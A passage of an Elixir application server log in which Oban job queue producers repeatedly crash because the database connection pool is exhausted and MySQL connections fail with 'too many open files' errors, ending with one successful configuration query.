    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:15:52.238122Z], limit: 50, uuid: "54c5c976-301a-4397-ade6-0b5ef2b99822", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:52.238130Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171165>, refresh_timer: #Reference<0.2525715032.1099431938.53634>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:05.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:15:52.239829Z], limit: 3, uuid: "2677b032-09fd-4113-9477-7fe7d5a9650b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:52.239834Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.53671>, refresh_timer: #Reference<0.2525715032.1077673987.30306>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:05.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:15:52.238522Z], limit: 5, uuid: "f0c81d80-2467-4a2d-9456-4c1f8c4e8756", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:15:52.238528Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.53670>, refresh_timer: #Reference<0.2525715032.1077673987.30283>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:06.100000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:07.255000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:10.073000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:10.991000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:15.272000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:15.308000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:17.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:16:05.240117Z], limit: 5, uuid: "9faf85f6-8693-446e-b70c-e9a73b1be679", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:05.240123Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171631>, refresh_timer: #Reference<0.2525715032.1121189889.171615>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:16:05.241297Z], limit: 3, uuid: "306a4988-cc40-46d6-a304-92f82a1e796d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:05.241303Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171633>, refresh_timer: #Reference<0.2525715032.1077673987.30463>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 835ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:16:05.239853Z], limit: 10, uuid: "004a6191-0caf-465f-8116-bf583eaa0c13", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:05.239859Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171630>, refresh_timer: #Reference<0.2525715032.1121189889.171599>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:17.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:16:05.241287Z], limit: 5, uuid: "5ecb37d7-e801-4ae6-8303-aee7647ddf19", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:05.241293Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171632>, refresh_timer: #Reference<0.2525715032.1077673987.30460>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:17.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:16:05.239135Z], limit: 20, uuid: "8006c33f-092c-4012-8f4b-805508f4f631", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:05.239143Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171629>, refresh_timer: #Reference<0.2525715032.1121189889.171569>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 830ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:16:05.240559Z], limit: 50, uuid: "0d897f6f-d0ef-45af-8219-2d3ad06207ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:16:05.240565Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.171634>, refresh_timer: #Reference<0.2525715032.1068498948.51880>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:16:18.672000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:20.218000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:22.534000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:16:24.709000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=4.4ms idle=1179.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
